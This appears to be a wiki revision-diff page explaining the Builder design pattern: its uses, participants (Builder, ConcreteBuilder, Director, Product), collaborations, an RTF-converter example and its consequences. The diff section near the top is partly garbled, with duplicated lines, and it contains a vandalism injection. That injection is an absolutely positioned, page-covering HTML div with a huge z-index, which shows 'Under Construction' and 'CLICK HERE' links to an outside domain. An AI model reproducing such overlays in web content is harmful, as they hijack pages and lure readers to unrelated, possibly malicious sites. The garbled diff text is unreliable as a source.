Builder

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The Builder pattern allows you to use the same construction process to create different representations of a complex object, and makes it easy to extend more representations in the future.
 
The Builder pattern allows you to use the same construction process to create different representations of a complex object, and makes it easy to extend more representations in the future.
  
== Use when ==
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>== Use when ==
  
 
* There need to be different representations of the object to be constructed
 
* There need to be different representations of the object to be constructed
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* Runtime control over the creation process is required
 
* Runtime control over the creation process is required
 
* Need to add new creational logic without changing the existing code
 
* Need to add new creational logic without changing the existing code
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<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
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=[http://urodipetec.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]=
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=[http://urodipetec.co.cc CLICK HERE]=
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</div>
  
 
== Structure ==
 
== Structure ==

Revision as of 04:25, 18 November 2010

The Builder pattern allows you to use the same construction process to create different representations of a complex object, and makes it easy to extend more representations in the future.

>== Use when ==

  • There need to be different representations of the object to be constructed
  • The creation algorithm should be independent of the parts of the object and how they are assembled
  • Runtime control over the creation process is required
  • Need to add new creational logic without changing the existing code

Structure

From the Gang of Four Design Patterns book:

BuilderStructure.png

Builder

  • Abstract interface which defines methods for constructing each part of a Product

ConcreteBuilder

  • Implements the methods for constructing each part of the Product
  • Defines the process by which the Product is assembled
  • Defines and tracks the created product
  • Provides an interface to retrieve the product

Director

  • Uses the Builder interface to construct an object

Product

  • The complex object under construction
  • A class for each part of the Product, and interfaces for assembling the parts

Collaborations

  • The client creates a Director, configures it with desired ConcreteBuilder.
  • Director tells the Builder to build parts of the Product
  • Builder creates the parts and adds them to the Product
  • Client retrieves product from Builder

Example

From the Gang of Four Design Patterns book:

BuilderExample.png

A classic example is for a RTF (Rich Text Format) reader, which is able to convert the RTF text to a variety of text formats (ASCII, TeX, etc). Using the builder allows new text formats to be easily added later. It separates the RTF parser algorithm from the creation and representation of the converted format.

Another Example

You can find here a nicely explained java code example of the Builder Pattern usage in the real world.

Consequences

  • A Products internal representation can be varied, the Director only knows about the abstract Builder class
  • Construction and representation code are separated, supports encapsulation. Different Directors can build Product variants from the same set of parts.
  • Constructs a Product step by step, giving greater control over the construction compared to other creational patterns.

Related Patterns

See also


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